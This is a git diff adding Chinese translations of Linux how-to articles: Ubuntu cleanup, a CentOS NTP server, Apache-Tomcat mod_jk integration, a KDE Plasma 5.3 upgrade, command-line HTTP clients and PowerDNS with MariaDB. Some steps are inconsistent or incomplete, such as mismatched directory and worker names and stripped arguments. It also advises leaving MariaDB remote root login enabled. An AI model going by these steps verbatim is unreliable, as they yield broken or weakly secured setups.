+在你安装好这一连串软件之后,你或许想要清理一下你的系统来释放一点硬盘上的空间,输入以下命令即可: + + $ sudo apt-get -y autoremove + $ sudo apt-get -y autoclean + $ sudo apt-get -y clean + +这只是一些普通用户日常使用Ubuntu 15.04桌面是需要调整和安装的程序。想要了解更多高级的程序,特性和功能,请使用Ubuntu Software Center或查阅Ubuntu Wiki主页。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/things-to-do-after-installing-ubuntu-15-04-desktop/ + +作者:[Matei Cezar][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/cezarmatei/ +[1]:http://www.viber.com/en/products/linux +[2]:http://ubuntu-tweak.com/ diff --git a/published/201506/20150427 How to set up NTP server in CentOS.md b/published/201506/20150427 How to set up NTP server in CentOS.md new file mode 100644 index 0000000000..deb5cc3ca6 --- /dev/null +++ b/published/201506/20150427 How to set up NTP server in CentOS.md @@ -0,0 +1,165 @@ +如何在 CentOS 中设置 NTP 服务器 +================================================================================ + +网络时间协议(NTP)用来同步网络上不同主机的系统时间。你管理的所有主机都可以和一个指定的被称为 NTP 服务器的时间服务器同步它们的时间。而另一方面,一个 NTP 服务器会将它的时间和任意公共 NTP 服务器,或者你选定的服务器同步。由 NTP 管理的所有系统时钟都会同步精确到毫秒级。 + +在公司环境中,如果他们不想为 NTP 传输打开防火墙,就有必要设置一个内部 NTP 服务器,然后让员工使用内部服务器而不是公共 NTP 服务器。在这个指南中,我们会介绍如何将一个 CentOS 系统配置为 NTP 服务器。在介绍详细内容之前,让我们先来简单了解一下 NTP 的概念。 + +### 为什么我们需要 NTP? ### + +由于制造工艺多种多样,所有的(非原子)时钟并不按照完全一致的速度行走。有一些时钟走的比较快而有一些走的比较慢。因此经过很长一段时间以后,一个时钟的时间慢慢的和其它的发生偏移,这就是常说的 “时钟漂移” 或 “时间漂移”。为了将时钟漂移的影响最小化,使用 NTP 的主机应该周期性地和指定的 NTP 服务器交互以保持它们的时钟同步。 + +在不同的主机之间进行时间同步对于计划备份、[入侵检测][1]记录、[分布式任务调度][2]或者事务订单管理来说是很重要的事情。它甚至应该作为日常任务的一部分。 + +### NTP 的层次结构 ### + +NTP 时钟以层次模型组织。层级中的每层被称为一个 *stratum(阶层)*。stratum 的概念说明了一台机器到授权的时间源有多少 NTP 跳。 + +![](https://farm8.staticflickr.com/7590/16645732413_3b7af58186_c.jpg) + +Stratum 0 由没有时间漂移的时钟组成,例如原子时钟。这种时钟不能在网络上直接使用。Stratum N (N > 1) 层服务器从 Stratum N-1 层服务器同步时间。Stratum N 时钟能通过网络和彼此互联。 + +NTP 支持多达 15 个 stratum 的层级。Stratum 16 被认为是未同步的,不能使用的。 + +### 准备 CentOS 服务器 ### + +现在让我们来开始在 CentOS 上设置 NTP 服务器。 + +首先,我们需要保证正确设置了服务器的时区。在 CentOS 7 中,我们可以使用 timedatectl 命令查看和更改服务器的时区(比如,"Australia/Adelaide",LCTT 译注:中国可设置为 Asia/Shanghai ) + + # timedatectl list-timezones | grep Australia + # timedatectl set-timezone Australia/Adelaide + # timedatectl + +![](https://farm8.staticflickr.com/7605/16645732463_db75a0bdcd_o.png) + +继续并使用 yum 安装需要的软件 + + # yum install ntp + +然后我们会添加全球 NTP 服务器用于同步时间。 + + # vim /etc/ntp.conf + +---------- + + server 0.oceania.pool.ntp.org + server 1.oceania.pool.ntp.org + server 2.oceania.pool.ntp.org + server 3.oceania.pool.ntp.org + +默认情况下,NTP 服务器的日志保存在 /var/log/messages。如果你希望使用自定义的日志文件,那也可以指定。 + + logfile /var/log/ntpd.log + +如果你选择自定义日志文件,确保更改了它的属主和 SELinux 环境。 + + # chown ntp:ntp /var/log/ntpd.log + # chcon -t ntpd_log_t /var/log/ntpd.log + +现在初始化 NTP 服务并确保把它添加到了开机启动。 + + # systemctl restart ntp + # systemctl enable ntp + +### 验证 NTP Server 时钟 ### + +我们可以使用 ntpq 命令来检查本地服务器的时钟如何通过 NTP 同步。 + +![](https://farm9.staticflickr.com/8713/16645732513_1823736ca8_b.jpg) + +下面的表格解释了输出列。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
remote源在 ntp.conf 中定义。‘*’ 表示当前使用的,也是最好的源;‘+’ 表示这些源可作为 NTP 源;‘-’ 标记的源是不可用的。
refid用于和本地时钟同步的远程服务器的 IP 地址。
stStratum(阶层)
t类型。 'u' 表示单播(unicast)。其它值包括本地(local)、多播(multicast)、广播(broadcast)。
when自从上次和服务器交互后经过的时间(以秒数计)。
poll和服务器的轮询间隔,以秒数计。
reach表示和服务器交互是否有任何错误的八进制数。值 337 表示 100% 成功(即十进制的255)。
delay服务器和远程服务器来回的时间。
offset我们服务器和远程服务器的时间差异,以毫秒数计。
jitter两次取样之间平均时差,以毫秒数计。
+ +### 控制到 NTP 服务器的访问 ### + +默认情况下,NTP 服务器允许来自所有主机的查询。如果你想过滤进来的 NTP 同步连接,你可以在你的防火墙中添加规则过滤流量。 + + # iptables -A INPUT -s 192.168.1.0/24 -p udp --dport 123 -j ACCEPT + # iptables -A INPUT -p udp --dport 123 -j DROP + +该规则允许从 192.168.1.0/24 来的 NTP 流量(端口 UDP/123),任何其它网络的流量会被丢弃。你可以根据需要更改规则。 + +### 配置 NTP 客户端 ### + +#### 1. Linux #### + +NTP 客户端主机需要 ntpupdate 软件包来和服务器同步时间。可以轻松地使用 yum 或 apt-get 安装这个软件包。安装完软件包之后,用服务器的 IP 地址运行下面的命令。 + + # ntpdate + +基于 RHEL 和 Debian 的系统命令都相同。 + +#### 2. Windows #### + +如果你正在使用 Windows,在日期和时间设置(Date and Time settings)下查找网络时间(Internet Time)。 + +#### 3. Cisco 设备 #### + +如果你想要同步 Cisco 设备的时间,你可以在全局配置模式下使用下面的命令。 + + # ntp server + +来自其它厂家的支持 NTP 的设备有自己的用于网络时间的参数。如果你想将设备和 NTP服务器同步时间,请查看设备的说明文档。 + +### 结论 ### + +总而言之,NTP 是在你的所有主机上同步时钟的一个协议。我们已经介绍了如何设置 NTP 服务器并使支持 NTP 的设备和服务器同步时间。 + +希望能对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/setup-ntp-server-centos.html + +作者:[Sarmed Rahman][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://xmodulo.com/how-to-compile-and-install-snort-from-source-code-on-ubuntu.html +[2]:http://xmodulo.com/how-to-install-hdfs-and-hadoop-using.html \ No newline at end of file diff --git a/published/201506/20150429 How To Integrate Apache2 With Tomcat 7 Using mod_jk Connector.md b/published/201506/20150429 How To Integrate Apache2 With Tomcat 7 Using mod_jk Connector.md new file mode 100644 index 0000000000..dff5090cfc --- /dev/null +++ b/published/201506/20150429 How To Integrate Apache2 With Tomcat 7 Using mod_jk Connector.md @@ -0,0 +1,136 @@ +如何用mod_jk连接器来集成Apache2和Tomcat 7 +================================================================================ +Apache是最流行的web服务器,它通常用来接收客户端的请求并响应。它得到一个URL并将它翻译成一个文件名(或者静态请求),并将文件从本地磁盘中取出,通过因特网返回;或者将它翻译成程序执行它,接着将输出返回给请求方。如果web服务器不能处理和完成请求,它会返回一个错误信息。 + +在本篇中,我们会列出Apache的特性以及我们该如何用mod\_jk连接器来集成Tomcat 7和Tomcat 8. + +### Apache的特性 ### + +如我们所说Apache是最流行的web服务器。下面是流行背后的原因: + +- 它是自由工具,你可以很简单地下载和安装 +- 它开放源码,因此你可以查看源码,调整它,优化它,并且修复错误和安全漏洞。也可以增加新的功能和模块。 +- 它可以用在只有一两个页面的小网站,或者是有成千上万个页面的大网站,每月处理上百万的常规访问者的请求。它可以同时处理静态和动态内容。 +- 改进的缓存模块(mod\_cache、 mod\_disk\_cache、 mod\_mem\_cache)。 +- Apache 2 支持 IPv6. + +### Tomcat 的目录 ### + +${tomcat_home} 是tomcat的根目录。你的tomcat安装应该有下面的子目录: + +- ${tomcat_home}\conf – 存放不同配置文件的地方 +- ${tomcat_home}\webapps – 包含示例程序 +- ${tomcat_home}\bin – 存放你的Web服务器的插件的地方 + +### Mod_jk 模块 ### + +mod\_jk有两种可接受的方式:二进制或者源码。取决于你运行的web服务器的平台,也许有符合你的平台的二进制版本的mod\_jk。如果有的话建议使用这个。 + +mod\_jk模块在这些平台上开发及测试过: + +- Linux、 FreeBSD、 AIX、 HP-UX、 MacOS X、 Solaris ,应该在主流的支持Apache 1.3 和/或者 2.x的Unix平台上都工作。 +- WinNT 4.0-i386 SP4/SP5/SP6a (应该可以与其他的服务包一起工作), Win2K 和 WinXP 和 Win98 +- Cygwin (需要你有apache服务器及autoconf/automake支持工具) +- Netware +- i5/OS V5R4 (System I) ,带有 Apache HTTP Server 2.0.58。 确保已经安装了最新的 Apache PTF +- Tomcat 3.2 到 Tomcat 8 + +The mod\_jk 需要两个组件: + +- **mod\_jk.xxx** – Apache HTTP服务器模块,取决于你的操作系统,它可能是mod\_jk.so、mod\_jk.nlm或者mod\_jk.SRVPGM。 +- **workers.properties** - 描述Worker (Tomcat进程)所用的主机以及处理器使用的端口。在下载的源码的conf目录下找到示例的workers.properties文件。 + +和Apache HTTP服务器其他的模块一样,mod\_jk应该安装在你的Apache服务器下的模块目录下:/usr/lib/apache,而且你应该更新你的**httpd.conf**文件。 + +### 安装 ### + +在开始安装前,非root用户需要使用“sudo”特权。现在我们开始安装,我们将使用下面的命令来安装Apache2和Tomcat: + + sudo apt-get install apache2 + sudo apt-get install tomcat7 + sudo apt-get install tomcat7-admin + +下面,我们将会使用如下的命令来创建一个测试程序: + + cd /var/lib/tomcat7/webapps + sudo mkdir tomcat-demo + sudo mkdir tomcat-demo/goodmoring + sudo vim tomcat-demo/helloworld/index.jsp + +并粘贴下面的代码到上述的 index.jsp: + + + + Good Morning + + +

Good Morning

+ Today is: <%= new java.util.Date().toString() %> + + + +一切完毕后,我们将使用下面的命令安装和配置mod\_jk: + + sudo apt-get install libapache2-mod-jk + +我们需要使用下面的命令启用Tomcat的8443转发端口: + + sudo vim /etc/tomcat7/server.xml + +解除下面的注释行: + + + +之后,我们将用下面的命令为Apache创建workers.properties文件: + + sudo vim /etc/apache2/workers.properties + +粘贴下面的行: + + # Define 1 real worker using ajp13 + worker.list=worker + # Set properties for worker (ajp13) + worker.worker.type=ajp13 + worker.worker.host=localhost + worker.worker.port=8009 + +现在我们将使用下面的命令来让Apache使用这个worker: + + sudo vim /etc/apache2/mods-available/jk.conf + +我们将JkWorkersFile属性成下面这行: + + /etc/apache2/workers.properties + +最后配置Apache交给Tomcat处理的URL + + sudo vim /etc/apache2/sites-enabled/000-default + +我们将在配置文件中下面的行: + + + ....................................... + ....................................... + JkMount /tomcat-demo* worker1 + + +现在用下面的命令重启服务来检查它们的功能: + + sudo /etc/init.d/tomcat7 restart + sudo /etc/init.d/apache2 restart + +### 总结 ### + +在本篇中我们展示了你该如何使用mod\_jk连接器配置和安装Apache2以及Tomcat7。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/integrate-apache2-tomcat-7-using-mod_jk-connector/ + +作者:[anismaj][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/anis/ diff --git a/published/201506/20150429 KDE Plasma 5.3 Released, Here' s How To Upgrade in Kubuntu 15.04.md b/published/201506/20150429 KDE Plasma 5.3 Released, Here' s How To Upgrade in Kubuntu 15.04.md new file mode 100644 index 0000000000..5dba39a1d3 --- /dev/null +++ b/published/201506/20150429 KDE Plasma 5.3 Released, Here' s How To Upgrade in Kubuntu 15.04.md @@ -0,0 +1,86 @@ +在 Kubuntu 15.04 中升级 KDE Plasma 5.3 +================================================================================ +**KDE[已经发布了][1]Plasma 5.3的稳定版,它包含了一个新的电源管理方面的稳定特性。** + +[先前四月份的beta版][2]已经让我们印象深刻,甚至跃跃欲试了,Plasma 5桌面环境的稳定版更新的最新更新已经稳定,并且可以下载了。 + +Plasma 5.3继续改善和细化了全新的KDE桌面,它添加了大量的特性供桌面用户体验。同时也修复了**多达400个错误**,这对性能和稳定性方面也进行了大量改善。 + +### Plasma 5.3中的新东西 ### + +![Better Bluetooth Management in Plasma 5.3](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/bluetooth-applet-in-kde.jpg) + +*Plasma 5.3中更好的蓝牙管理* + +而[在早期关于Plasma 5.3的文章][3]中,我们触及了大量**新特性**,这其中很多都值得反复说道说道。 + +**加强的电源管理**特性和配置选项,包括**新的电源小程序、能源使用监控**和**动态屏幕亮度变化**,将有助于让KDE在移动设备上加强续航能力。 + +在连接了外部监视器的时候合上笔记本盖子时,不会再触发‘挂起’操作。这个新的行为被称之为‘**影院模式**’,并且默认开启。但是,可以通功过电源管理设置中的相关选项禁用。 + +**蓝牙功能被改善**,带来了一个全新的面板小程序,使得在连接到并配置配对的蓝牙设备,如智能手机、键盘和扬声器时,比以往更为便捷。 + +同样,对于Plasma 5.3,**KDE中的轨迹板配置更为方便**,这多亏了新的安装和设置模块。 + +![Trackpad, Touchpad. Tomato, Tomayto.](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/touchpad-kde.jpg) + +*轨迹板、触控板。Tomato, Tomayto。* + +对于Plasma小部件狂热者,它带来了一个**按住并锁定**手势。当启用该功能,会隐藏移动鼠标时出现的设置处理。取而代之的是,它只会在长点击小部件时发生该行为。 + +谈到widget-y这类事情时,该发布版中**再次引入了几个旧的Plasmoid中最受欢迎的东西**,包括一个有用的系统监视器、便利的硬盘驱动器统计和一个漫画阅读器。 + +### 了解更多&尝试 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/plasma-5.3-beta.jpg) + +一张全部内容的完整列表——我说全部内容——是指Plasma 5.3中[在官方修改日志中][4]列出的新的和改进的内容。 + +你可以从KDE社区获取Live镜像,试用Kubuntu上的Plasma 5.3,**而不会影响到你自己的系统**: + +- [下载KDE Plasma Live镜像][5] + +如果你需要超级稳定的系统,你可以使用这些镜像来尝试新特性,但是你可以继续使用你的主要计算机上与你的版本对应的KDE版本。 + +不过,如果你对实验版满意——请注意:能够处理任何包冲突,或者由尝试升级桌面环境而导致的系统问题——那么你可以安装。 + +### 安装Plasma 5.3到Kubuntu 15.04 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2012/02/logo-kubuntu.png) + +要**安装Plasma 5.3到Kubuntu 15.04**中,你需要添加KDE 移植PPA,运行软件更新器工具并安装任何可用的更新。 + +Kubuntu移植PPA可能也会升级除了安装在你系统上的Plasma外的其它KDE平台组件,包括KDE应用程序、框架和Kubuntu特定配置文件。 + +目前为止,使用命令行来升级Kubuntu中的到Plasma 5.3是最快速的方法: + + sudo add-apt-repository ppa:kubuntu-ppa/backports + sudo apt-get update && sudo apt-get dist-upgrade + +在升级过程完成后,如果一切顺利,你应该重启计算机。 + +如果你正在使用一个备用桌面环境,比如LXDE、Unity或者GNOME,则你需要在运行完上面的两个命令后安装Kubuntu桌面包(你可以在Ubuntu软件中心找到)。 + +要降级到15.04中自带的 Plasma 版本的话,你可以使用 PPA-Purge 工具: + + sudo apt-get install ppa-purge + sudo ppa-purge ppa:kubuntu-ppa/backports + +请在下面的评论中留言,让我们知道你怎么升级,测试过程是怎样的,别忘了告诉我们你在下一个Plasma 5桌面中要看到的特性。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/04/kde-plasma-5-3-released-heres-how-to-upgrade-in-kubuntu-15-04 + +作者:[Joey-Elijah Sneddon][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://www.kde.org/announcements/plasma-5.3.0.php +[2]:http://www.omgubuntu.co.uk/2015/04/beta-plasma-5-3-features +[3]:http://www.omgubuntu.co.uk/2015/04/beta-plasma-5-3-features +[4]:https://www.kde.org/announcements/plasma-5.2.2-5.3.0-changelog.php +[5]:https://community.kde.org/Plasma/Live_Images diff --git a/published/201506/20150429 What are good command line HTTP clients.md b/published/201506/20150429 What are good command line HTTP clients.md new file mode 100644 index 0000000000..969b14da29 --- /dev/null +++ b/published/201506/20150429 What are good command line HTTP clients.md @@ -0,0 +1,111 @@ +有哪些不错的命令行HTTP客户端? +============================================================================== + +“整体大于它的各部分之和”,这是引自希腊哲学家和科学家的亚里士多德的名言。这句话特别切中Linux。在我看来,Linux最强大的地方之一就是它的协作性。Linux的实用性并不仅仅源自大量的开源程序(命令行)。相反,其协作性来自于这些程序的综合利用,有时是结合成更大型的应用。 + +Unix哲学引发了一场“软件工具”的运动,关注开发简洁,基础,干净,模块化和扩展性好的代码,并可以运用于其他的项目。这种哲学成为了许多的Linux项目的一个重要的元素。 + +好的开源开发者写程序为了确保该程序尽可能运行得好,并且同时能与其他程序很好地协作。目标就是使用者拥有一堆方便的工具,每一个力求干好一件事。许多程序能独立工作得很好。 + +这篇文章讨论3个开源命令行HTTP客户端。这些客户端可以让你使用命令行从互联网上下载文件。但同时,他们也可以用于许多有意思的地方,如测试,调式和与HTTP服务器或web应用交互。对于HTTP架构师和API设计人员来说,使用命令行操作HTTP是一个值得花时间学习的技能。如果你需要经常使用API,HTTPie和cURL就非常有价值。 + +###HTTPie### + +![HTTPie in action](http://www.linuxlinks.com/portal/content/reviews/Internet/Screenshot-httpie.png) + +HTTPie(发音 aych-tee-tee-pie)是一款开源的命令行HTTP客户端。它是一个命令行界面,便于手工操作的类cURL工具。 + +该软件的目标是使得与Web服务器的交互尽可能的人性化。其提供了一个简单的http命令,允许使用简单且自然的语句发送任意的HTTP请求,并显示不同颜色的输出。HTTPie可以用于测试,调试,以及与HTTP服务器的常规交互。 + +#### 功能包括:#### + +- 生动而直观的语法格式 +- 经过格式化的彩色终端输出 +- 内建JSON支持 +- 支持表单和文件上传 +- 支持HTTPS,代理和认证 +- 任意数据请求 +- 自定义请求头 +- 持久会话 +- 类Wget的下载 +- 支持Python 2.6,2.7和3.x +- 支持Linux,Mac OS X 和 Windows +- 支持插件 +- 文档 +- 单元测试覆盖 + +--- + +- 网站:[httpie.org][1] +- 开发者: Jakub Roztočil +- 证书: 开源 +- 版本号: 0.9.2 + +###cURL### + +![cURL in action](http://www.linuxlinks.com/portal/content/reviews/Internet/Screenshot-cURL.png) + +cURL是一个开源的命令行工具,用于使用URL语句传输数据,支持DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS,IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET和TFTP等协议。 + +cURL支持SSL证书,HTTP POST,HTTP PUT,FTP上传,基于表单的HTTP上传,代理,缓存,用户名+密码的认证方式(Basic, Digest, NTLM, Negotiate, kerberos...),文件续传,代理通道和一些其他的有用功能。 + +#### 功能包括:#### + +- 支持配置文件 +- 一个单独命令行请求多个URL +- 支持匹配: [0-13],{one, two, three} +- 一个命令上传多个文件 +- 自定义最大传输速度 +- 重定向了标准错误输出 +- 支持Metalink + +--- + +- 网站: [curl.haxx.se][2] +- 开发者: Daniel Stenberg +- 证书: MIT/X derivate license +- 版本号: 7.42.0 + +###Wget### + +![Wget in action](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-Wget.png) + +Wget是一个从网络服务器获取信息的开源软件。其名字源于World Wide Web 和 get。Wget支持HTTP,HTTPS和FTP协议,同时也可以通过HTTP代理获取信息。 + +Wget可以根据HTML页面的链接,创建远程网络站点的本地副本,完全重造源站点的目录结构。这种方式被称作“递归下载”。 + +Wget设计上增强了低速或者不稳定的网络连接。 + +功能包括: + +- 使用REST和RANGE恢复中断的下载 +- 使用文件名通配符,支持递归地对目录镜像 +- 基于NLS的消息文件支持多语言 +- 可选的转换下载文档里地绝对链接为相对链接,使得下载文档可以在本地相互链接 +- 可以在大多数类UNIX操作系统和微软Windows上运行 +- 支持HTTP代理 +- 支持HTTP cookie +- 支持HTTP持久连接 +- 无人照管/后台操作 +- 当对远程镜像时,使用本地文件时间戳来决定是否需要重新下载文档 + +--- + +- 站点: [www.gnu.org/software/wget/][3] +- 开发者: Hrvoje Niksic, Gordon Matzigkeit, Junio Hamano, Dan Harkless, and many others +- 证书: GNU GPL v3 +- 版本号: 1.16.3 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20150425174537249/HTTPclients.html + +作者:Frazer Kline +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://httpie.org/ +[2]:http://curl.haxx.se/ +[3]:https://www.gnu.org/software/wget/ diff --git a/published/201506/20150504 How to Install and Configure 'PowerDNS' (with MariaDB) and 'PowerAdmin' in RHEL or CentOS 7.md b/published/201506/20150504 How to Install and Configure 'PowerDNS' (with MariaDB) and 'PowerAdmin' in RHEL or CentOS 7.md new file mode 100644 index 0000000000..4c3c824682 --- /dev/null +++ b/published/201506/20150504 How to Install and Configure 'PowerDNS' (with MariaDB) and 'PowerAdmin' in RHEL or CentOS 7.md @@ -0,0 +1,456 @@ +RHEL/CentOS 7中安装并配置 PowerDNS 和 PowerAdmin +================================================================================ +PowerDNS是一个运行在许多Linux/Unix衍生版上的DNS服务器,它可以使用不同的后端进行配置,包括BIND类型的区域文件、关系型数据库,或者负载均衡/失效转移算法。它也可以被配置成一台DNS递归器,作为服务器上的一个独立进程运行。 + +PowerDNS授权服务器的最新版本是3.4.4,但是当前EPEL仓库中可以获得的版本是3.4.3。我推荐安装EPEL仓库中提供的那一个,因为该版本已经在CentOS和Fedora中测试过。那样,你也可以在今后很容易地更新PowerDNS。 + +本文用于向你演示如何安装并配置以MariaDB作为后端的PowerDNS,以及它的界面友好的 Web 管理工具 PowerAdmin。 + +出于本文的写作目的,我将使用以下服务器: + + 主机名: centos7.localhost + IP地址: 192.168.0.102 + +### 第一部分: 安装带有MariaDB后端的PowerDNS ### + +1、 首先,你需要为你的系统启用EPEL仓库,只需使用: + + # yum install epel-release.noarch + +![Enable Epel Repository](http://www.tecmint.com/wp-content/uploads/2015/04/Enable-Epel-Repository.png) + +*启用Epel仓库* + +2、 下一步是安装MariaDB服务器。运行以下命令即可达成: + + # yum -y install mariadb-server mariadb + +![Install MariaDB Server](http://www.tecmint.com/wp-content/uploads/2015/04/Install-MariaDB-Server.png) + +*安装MariaDB服务器* + +3、 接下来,我们将配置并启用MariaDB,并设置开机启动: + + # systemctl enable mariadb.service + # systemctl start mariadb.service + +![Enable Start MariaDB System Boot](http://www.tecmint.com/wp-content/uploads/2015/04/Enable-Start-MariaDB-System-Boot.png) + +*启用MariaDB开机启动* + +4、 现在MariaDB服务运行起来了,我们将为MariaDB设置密码进行安全加固,运行以下命令: + + # mysql_secure_installation + +**按照指示做** + + /bin/mysql_secure_installation: line 379: find_mysql_client: command not found + + NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB + SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY! + + In order to log into MariaDB to secure it, we'll need the current + password for the root user. If you've just installed MariaDB, and + you haven't set the root password yet, the password will be blank, + so you should just press enter here. + + Enter current password for root (enter for none): Press ENTER + OK, successfully used password, moving on... + + Setting the root password ensures that nobody can log into the MariaDB + root user without the proper authorisation. + + Set root password? [Y/n] y + New password: ← Set New Password + Re-enter new password: ← Repeat Above Password + Password updated successfully! + Reloading privilege tables.. + ... Success! + + + By default, a MariaDB installation has an anonymous user, allowing anyone + to log into MariaDB without having to have a user account created for + them. This is intended only for testing, and to make the installation + go a bit smoother. You should remove them before moving into a + production environment. + + Remove anonymous users? [Y/n] y ← Choose “y” to disable that user + ... Success! + + Normally, root should only be allowed to connect from 'localhost'. This + ensures that someone cannot guess at the root password from the network. + + Disallow root login remotely? [Y/n] n ← Choose “n” for no + ... skipping. + + By default, MariaDB comes with a database named 'test' that anyone can + access. This is also intended only for testing, and should be removed + before moving into a production environment. + + Remove test database and access to it? [Y/n] y ← Choose “y” for yes + - Dropping test database... + ... Success! + - Removing privileges on test database... + ... Success! + + Reloading the privilege tables will ensure that all changes made so far + will take effect immediately. + + Reload privilege tables now? [Y/n] y ← Choose “y” for yes + ... Success! + + Cleaning up... + + All done! If you've completed all of the above steps, your MariaDB + installation should now be secure. + + Thanks for using MariaDB! + +5、 MariaDB配置成功后,我们可以继续去安装PowerDNS。运行以下命令即可轻易完成: + + # yum -y install pdns pdns-backend-mysql + +![Install PowerDNS with MariaDB Backend](http://www.tecmint.com/wp-content/uploads/2015/04/Install-PowerDNS-with-MariaDB-Backend.png) + +*安装带有MariaDB后端的PowerDNS* + +6、 PowerDNS的配置文件位于`/etc/pdns/pdns`,在编辑之前,我们将为PowerDNS服务配置一个MariaDB数据库。首先,我们将连接到MariaDB服务器并创建一个名为powerdns的数据库: + + # mysql -u root -p + MariaDB [(none)]> CREATE DATABASE powerdns; + +![Create PowerDNS Database](http://www.tecmint.com/wp-content/uploads/2015/04/Create-PowerDNS-Database.png) + +*创建PowerDNS数据库* + +7、 接下来,我们将创建一个名为powerdns的数据库用户: + + MariaDB [(none)]> GRANT ALL ON powerdns.* TO 'powerdns'@'localhost' IDENTIFIED BY ‘tecmint123’; + MariaDB [(none)]> GRANT ALL ON powerdns.* TO 'powerdns'@'centos7.localdomain' IDENTIFIED BY 'tecmint123'; + MariaDB [(none)]> FLUSH PRIVILEGES; + +![Create PowerDNS User](http://www.tecmint.com/wp-content/uploads/2015/04/Create-PowerDNS-User.png) + +*创建PowerDNS用户* + +**注意**: 请将“tecmint123”替换为你想要设置的实际密码。 + +8、 我们继续创建PowerDNS要使用的数据库表。像堆积木一样执行以下这些: + + MariaDB [(none)]> USE powerdns; + MariaDB [(none)]> CREATE TABLE domains ( + id INT auto_increment, + name VARCHAR(255) NOT NULL, + master VARCHAR(128) DEFAULT NULL, + last_check INT DEFAULT NULL, + type VARCHAR(6) NOT NULL, + notified_serial INT DEFAULT NULL, + account VARCHAR(40) DEFAULT NULL, + primary key (id) + ); + +![Create Table Domains for PowerDNS](http://www.tecmint.com/wp-content/uploads/2015/04/Create-Table-Domains-for-PowerDNS.png) + +*创建用于PowerDNS的表domains* + + MariaDB [(none)]> CREATE UNIQUE INDEX name_index ON domains(name); + MariaDB [(none)]> CREATE TABLE records ( + id INT auto_increment, + domain_id INT DEFAULT NULL, + name VARCHAR(255) DEFAULT NULL, + type VARCHAR(6) DEFAULT NULL, + content VARCHAR(255) DEFAULT NULL, + ttl INT DEFAULT NULL, + prio INT DEFAULT NULL, + change_date INT DEFAULT NULL, + primary key(id) + ); + +![Create Table Records for PowerDNS](http://www.tecmint.com/wp-content/uploads/2015/04/Create-Index-Domains-for-PowerDNS.png) + +*创建用于PowerDNS的表 records* + + MariaDB [(none)]> CREATE INDEX rec_name_index ON records(name); + MariaDB [(none)]> CREATE INDEX nametype_index ON records(name,type); + MariaDB [(none)]> CREATE INDEX domain_id ON records(domain_id); + +![Create Index of Table](http://www.tecmint.com/wp-content/uploads/2015/04/Create-Records.png) + +*创建表索引* + + MariaDB [(none)]> CREATE TABLE supermasters ( + ip VARCHAR(25) NOT NULL, + nameserver VARCHAR(255) NOT NULL, + account VARCHAR(40) DEFAULT NULL + ); + +![Create Table Supermaster](http://www.tecmint.com/wp-content/uploads/2015/04/Create-Table-Supermaster.png) + +*创建表supermasters* + +你现在可以输入以下命令退出MariaDB控制台: + + MariaDB [(none)]> quit; + +9、 最后,我们可以继续配置PowerDNS了,以MariaDB作为后台。请打开PowerDNS的配置文件: + + # vim /etc/pdns/pdns.conf + +在该文件中查找像下面这样的行: + + ################################# + # launch Which backends to launch and order to query them in + # + # launch= + +在这后面放置以下代码: + + launch=gmysql + gmysql-host=localhost + gmysql-user=powerdns + gmysql-password=user-pass + gmysql-dbname=powerdns + +修改“user-pass”为你先前设置的实际密码,配置如下: + +![Configure PowerDNS](http://www.tecmint.com/wp-content/uploads/2015/04/Configure-PowerDNS.png) + +*配置PowerDNS* + +保存修改并退出。 + +10、 现在,我们将启动并添加PowerDNS到系统开机启动列表: + + # systemctl enable pdns.service + # systemctl start pdns.service + +![Enable and Start PowerDNS](http://www.tecmint.com/wp-content/uploads/2015/04/Enable-and-Start-PowerDNS.png) + +*启用并启动PowerDNS* + +到这一步,你的PowerDNS服务器已经起来并运行了。要获取更多关于PowerDNS的信息,你可以参考手册[http://downloads.powerdns.com/documentation/html/index.html][1] + +### 第二部分: 安装PowerAdmin来管理PowerDNS ### + +11、 现在,我们将安装PowerAdmin——一个界面友好的PowerDNS服务器的 Web 管理器。由于它是用PHP写的,我们将需要安装PHP和一台网络服务器(Apache): + + # yum install httpd php php-devel php-gd php-imap php-ldap php-mysql php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mhash gettext + +![Install Apache PHP](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Apache-PHP.jpeg) + +*安装Apache 和 PHP* + +PowerAdmin也需要两个PEAR包: + + # yum -y install php-pear-DB php-pear-MDB2-Driver-mysql + +![Install 